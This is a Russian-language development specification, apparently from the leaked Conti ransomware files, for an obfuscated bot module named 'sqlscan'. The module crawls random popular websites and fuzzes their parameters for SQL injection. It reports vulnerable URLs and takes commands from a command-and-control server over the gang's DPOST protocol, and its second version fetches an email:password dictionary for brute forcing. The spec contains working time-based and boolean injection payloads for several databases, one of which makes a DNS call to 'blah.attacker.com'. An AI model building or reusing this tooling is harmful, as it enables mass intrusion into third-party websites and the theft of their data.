Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 

353 lines
23 KiB

ЗАДАНИЕ НА РАЗРАБОТКУ СКАНЕРА УЯЗВИМОСТЕЙ ВЕБ-САЙТОВ
ЦЕЛЬ
Необходимо написать модуль сканера уязвимостей веб-сайтов. Модуль должен быть оформлен в соответствии с правилами, приведенными в документе modules_HOWTO.
ПРИНЦИП РАБОТЫ
Сканер состоит из двух основных частей:
* кроулер
* детектор
Кроулер генерирует URL-адреса для проверки.
Детектор проверяет их.
Результатом проверки единичного сайта является факт наличия или отстутствия уязвимости.
Если уязвимость найдена, она сопровождается дополнительной информацией:
- точный URL, на котором найдена уязвимость
- сработавшее правило сканера
- предполагаемый тип СУБД (определяется из сработавшего правила)
Результатом работы всего модуля является список найденных в процессе работы уязвимостей.
РЕАЛИЗАЦИЯ
0. Название проекта - sqlscan
1. Сканер может и должен работать в несколько потоков. Число потоков задается параметром в конфиге; если он отсутствует, используется константа времени компиляции.
Есть два варианта разбиения на потоки:
1)
- в первой группе потоков отрабатывает кроулер по разным доменам, генерируя список для детектора
- во второй группе потоков отрабатывает детектор, выбирая из выходного списка кроулера записи для проверки.
2) в каждом потоке работает одновременно и кроулер, и детектор:
- кроулер генерирует домен для проверки и передает ее детектору
- детектор проверяет домен и вновь запускает кроулер.
Второй вариант выглядит проще с точки зрения межпоточной синхронизации.
2. Инициализация модуля:
Инициализируем генератор псевдослучайных чисел.
Случайности в алгоритме отводится большое значение.
Инициализация должна происходить значением GetTickCount64().
3. Алгоритм работы кроулера:
1) стартуем с https://findsubdomains.com/world-top (этот URL и правила его парсинга задаются в конфиге - TODO пока не описано в ТЗ)
s3.amazonaws.com/alexa-static/top-1m.csv.zip
2) выбираем случайный сайт из списка от 1 до 50000
3) определяем субдомены этого сайта, с помощью DNS-запроса
4) парсим главную страницу:
- ищем ссылки с динамическими страницами (есть тело GET-запроса: page.html?var=val&var1=val1...)
- ищем веб-формы с отправкой по POST
5) Парсим файл robots.txt. В них могут указывать динамические страницы, с просьбой их не индексировать.
6) Составляем список параметров URI-запроса для страницы.
Отдельно помечаем те параметры, в которых есть:
- числа (в том числе отрицательные)
- url-encoded значения или обычный текст
Все параметры URI-запроса страницы являются неотъемлемыми свойствами страницы и также передаются в выдачу.
Однако дальнейшее сканирование производится лишь по помеченным параметрам, пригодным для скана.
7) добавляем страницу с параметрами в выдачу.
4. Алгоритм работы детектора:
1) Получаем следующий URL с выхода кроулера
2) Получаем следующее правило из списка правил
3) Применяем правило к странице.
3.1) Если правило сработало, добавляем страницу, сработавший параметр, и правило в выдачу. goto 1.
3.2) Если правило не сработало, goto 2
3.3) Если правил больше нет, goto 1
5. Модуль отправляет список найденных уязвимостей раз в Н минут (задается константой компиляции и настройкой из конфига),
при условии что с предыдущей отправки были найдены новые пароли.
Логика отправки и протокол описаны в документе "ТЗ граб паролей DPOST.txt"
Формат отправки: текст, разделенный на строки символами \r\n
В одной строке - одна запись.
Разделитель полей записи - символ '|' (вертикальная черта)
Формат записи:
url|param1|rule name1|param2|rule name2|...|paramN|rule nameN\r\n
таким образом, количество записей плавающее.
Здесь:
url - полный URL сайта с обнаруженной уязвимостью, ВКЛЮЧАЯ ВСЕ ПАРАМЕТРЫ (т.е. все после символа ? в URI - важная информация!)
param - имя параметра с обнаруженной уязвимостью
rule name - имя правила обнаруженной уязвимости.
6. Модуль оформляется в соответствии с правилами разработки модулей (см. modules_HOWTO.txt)
7. Модуль отправляет следующие события с тегом owa:
- "Version build %DATE% %TIME%" (один раз при старте)
- "Vulns sent to DPOST server" при успешной отправке собранных уязвимостей
- "Vulns send failure: servers unavailable" при отсутствии доступных серверов DPOST
- "No vulns detected, give up", если закончена отработка модуля и ничего не найдено (гипотетический случай)
В таком случае, модуль должен выдать событие WantRelease (см "module_HOWTO") для выгрузки из памяти
8. В данном модуле можно ограниченно использовать C++ STL (std::string, контейнеры).
Запрещено использовать std::mutex и примитивы синхронизации - для этого можно использовать только
примитивы синхронизации WinAPI (CRITICAL_SECTION итд).
9. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
10. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
11. Модуль должен иметь две версии - x32- и x64-разрядную.
12. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
13. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в c:/temp/webscan.log (путь к логу настраивается в макросе).
Каждая запись лога должна содержать временнУю метку с точностью до секунды.
14. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
15. Модуль должен работать на всех современных версиях Windows.
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
16. Проект должен быть оформлен для сборки в Microsoft Visual Studio не ниже 2015.
17. Проект Visual Studio должен быть настроен следующим образом:
* Для ВСЕХ профилей сборки:
- выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
- Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
- Многопроцессорная компиляция: да
* Профиль Release:
- Формат отладочной информации (С/С++ создание кода): нет
- Создавать отладочную информацию (компоновщик/отладка): нет
ПРАВИЛА ФАЗЗИНГА
Правила фаззинга делятся на два типа:
- временнЫе: проверяют уязвимость наличием задержки при HTTP-ответе, при инъекции кода с командой sleep.
- разностные: проверяют уязвимость фактом отсутствия разницы между константным значением параметра
и этим же значением, _вычисляемым_ в инъектированном выражении.
Пример временнОго правила:
[email protected]';waitfor delay '00:00:10'--
выполнится с задержкой 10 секунд, а
[email protected]
выполнится без задержки
Пример разностного правила:
?id=22
и
?id=23-1
выдадут одинаковую страницу
а
?id=22
и
?id=23
выдадут разные страницы (суть второй проверки - убедиться, что изменение параметра вообще в принципе влияет на выдачу).
В разностных правилах нужно учитывать, что формально разные результаты могут быть фактически одинаковыми
(например если на странице есть вывод текущего времени - фактически страница не изменялась, а формально страница секунду назад не равна странице сейчас).
Возможно, при проверке одинаковости страниц нужно считать расстояние Левенштейна (правда, тут сомнения, т.к. алгоритм Вагнера — Фишера прожорлив до памяти).
КОНФИГИ
Имя конфига - это аргумент Ctl функции Control, содержимое конфига - это аргумент CtlArg (см. modules_HOWTO.txt)
Весь текст в конфигах регистрозависимый; теги и служебные значения должны быть в нижнем регистре.
Конфиги должны быть в любой однобайтной кодировке (предпочтительно ASCII).
XML-комментарии запрещены.
* settings
Конфиг представляет из себя простой xml в следующем формате:
<scan>
<delay>задержка между итерациями подбора, в миллисекундах</delay>
<threads>число потоков подбора</threads>
<start>URL стартовой страницы, с которой брать список сайтов на проверку</start>
<regex>регулярное выражение для поиска доменов на стартовой странице</regex>
</scan>
Все параметры из этого конфига опциональные. Если параметр не указан, используется константа времени компиляции.
* rules
Список правил к тестированию:
<rules>
<rule>
<name>имя правила</name>
<type>time|diff (одно из двух этих значений)</type>
<value1>значение, подставляемое в тестируемый параметр</value1>
<value2>значение, подставляемое в тестируемый параметр</value2>
<value3>значение, подставляемое в тестируемый параметр</value3>
</rule>
...
<rule>
...
</rule>
</rules>
Назначение тегов:
name - название правила; играет роль в выдаче модуля (указывает на тип уязвимости)
type - одно из двух значений type или diff - определяет тип правила (временнОе или разностное)
value* - для временнЫх правил, это значение нужно подставить в тестируемый параметр.
Если тегов со значением несколько, их нужно подставить все по очереди, до успеха.
При успешном тесте, оставшиеся значения можно не проверять.
- для разностных правил:
value1 - константное значение: с результатом выдачи на это значение мы будем сравнивать
value2 - вычисляемый эквивалент: результат выдачи по этому значению мы будем сравнивать с выдачей по value1.
value3 - контрольное значение: результат выдачи по этому значению мы будем сравнивать с value1.
Успехом считается, если выдача на value1 и value2 одинакова, а value1 и value3 отличается.
Начальный вариант конфига
<rules>
<rule>
<name>MSSQL injection</name>
<type>time</type>
<value1>[email protected]';waitfor delay '00:00:10'--</value1>
</rule>
<rule>
<name>MySQL injection</name>
<type>time</type>
<value1>[email protected]';SELECT BENCHMARK(1000000,MD5(‘A’));--</value1>
</rule>
<rule>
<name>Postgres injection</name>
<type>time</type>
<value1>[email protected]';SELECT pg_sleep(10);--</value1>
</rule>
<rule>
<name>Oracle injection</name>
<type>time</type>
<value1>[email protected]';BEGIN DBMS_LOCK.SLEEP(5); END; --</value1>
<value2>[email protected]';SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; --</value2>
<value3>[email protected]';SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; --</value3>
<value4>[email protected]';SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; --</value4>
</rule>
<rule>
<name>Unescaped numeric</name>
<type>diff</type>
<value1>22</value1>
<value2>23-1</value2>
<value3>23</value3>
</rule>
<rule>
<name>Unescaped string</name>
<type>diff</type>
<value1>22</value1>
<value2>22' and '1' = '1</value2>
<value3>22' and '2'='1</value3>
</rule>
</rules>
ВТОРАЯ ВЕРСИЯ
Во второй версии модуль управляется не входными данными из конфигов, а запросами к командному серверу.
КОМАНДНЫЙ СЕРВЕР И КОНФИГИ
Ранее мы получали все исходные данные в виде конфигов от бекенда ботов.
Это довольно неудобно по разным причинам - ограничения бекенда на размеры конфигов,
ограничения на управление конфигами оператором, отсутствие общего статуса сети,
отсутствие специализированного хранилища для результатов.
Вместо этого будет использоваться командный сервер, у которого мы просим настройки и входные списки,
и которому отдаем добычу.
В связи с этим, упраздняются все конфиги из первой версии.
Появляется новый конфиг srv, содержащий список адресов управляющего сервера,
разделенных \r\n или \n, в формате адрес:порт.
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным портом.
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым, по каждому запросу.
Получить режим работы можно HTTP-запросом на сервер
GET /<group>/<clientid>/sql/mode HTTP/1.1
Значения group и clientid - это поля struct ParentInfo
CHAR ParentID[256];
CHAR ParentGroup[64];
(см. module_HOWTO)
В теле HTTP-ответа модуль ожидает строку brute или check.
Любое другое значение некорректно - в таком случае модуль делает повторные запросы
каждые 5 минут; до получения корректного ответа работа модуля не начинается.
Число потоков сканирования:
GET /<group>/<clientid>/sql/th HTTP/1.1
В ответ - неотрицательное число.
Если atoi(ответ) == 0, то число потоков по умолчанию = std::thread_concurrency() - 1.
Сканер получает список доменов для проверки HTTP-запросом на сервер
GET /<group>/<clientid>/sql/domains HTTP/1.1
Формат ответа:
адрес1[\r]\n
домен2[\r]\n
...
(одна или множество записей)
При завершении перебора по выданному списку мы даем знать об этом серверу:
GET /<group>/<clientid>/sql/over HTTP/1.1
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).
Словарь для перебора получаем HTTP-запросом к управляющему серверу:
GET /<group>/<clientid>/sql/dict HTTP/1.1
В ответ нам приходит словарь либо как text/plain, либо application/gzip (смотрим на заголовок ответа Content-Type)
Если упаковка в gzip, то после распаковки мы ожидаем такой же формат словаря, как для простого текста.
Формат:
email:password[\r]\n
Правила сканирования запрашиваем так:
GET /<group>/<clientid>/sql/rules HTTP/1.1
Ответ - text/plain либо application/gzip (пока ограничиться text/plain)
Отправка делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания протокола) запросом
POST /<group>/<clientid>/sql/81 HTTP/1.1
Собранные данные отправляются в контейнере multipart/form-data с полями source и data.
Значение поля source - "SQL Injections"
Значение поля data: простой текст, разделитель строк \r\n
Формат записи:
url|param1|rule name1|param2|rule name2|...|paramN|rule nameN\r\n
...
(одна или множество записей)
Частоту отправки намайненных данных можно получить с управляющего сервера HTTP-запросом
GET /<group>/<clientid>/sql/freq HTTP/1.1
В теле ответа мы ожидаем число - это число секунд, не чаще которого следует отправлять данные.
Если это 0 - отправка сразу по готовности нового результата.
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X секунд,
очищая буфер при успешной отправке.
При завершении перебора по выданному списку мы даем знать об этом серверу:
GET /<group>/<clientid>/sql/over HTTP/1.1
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).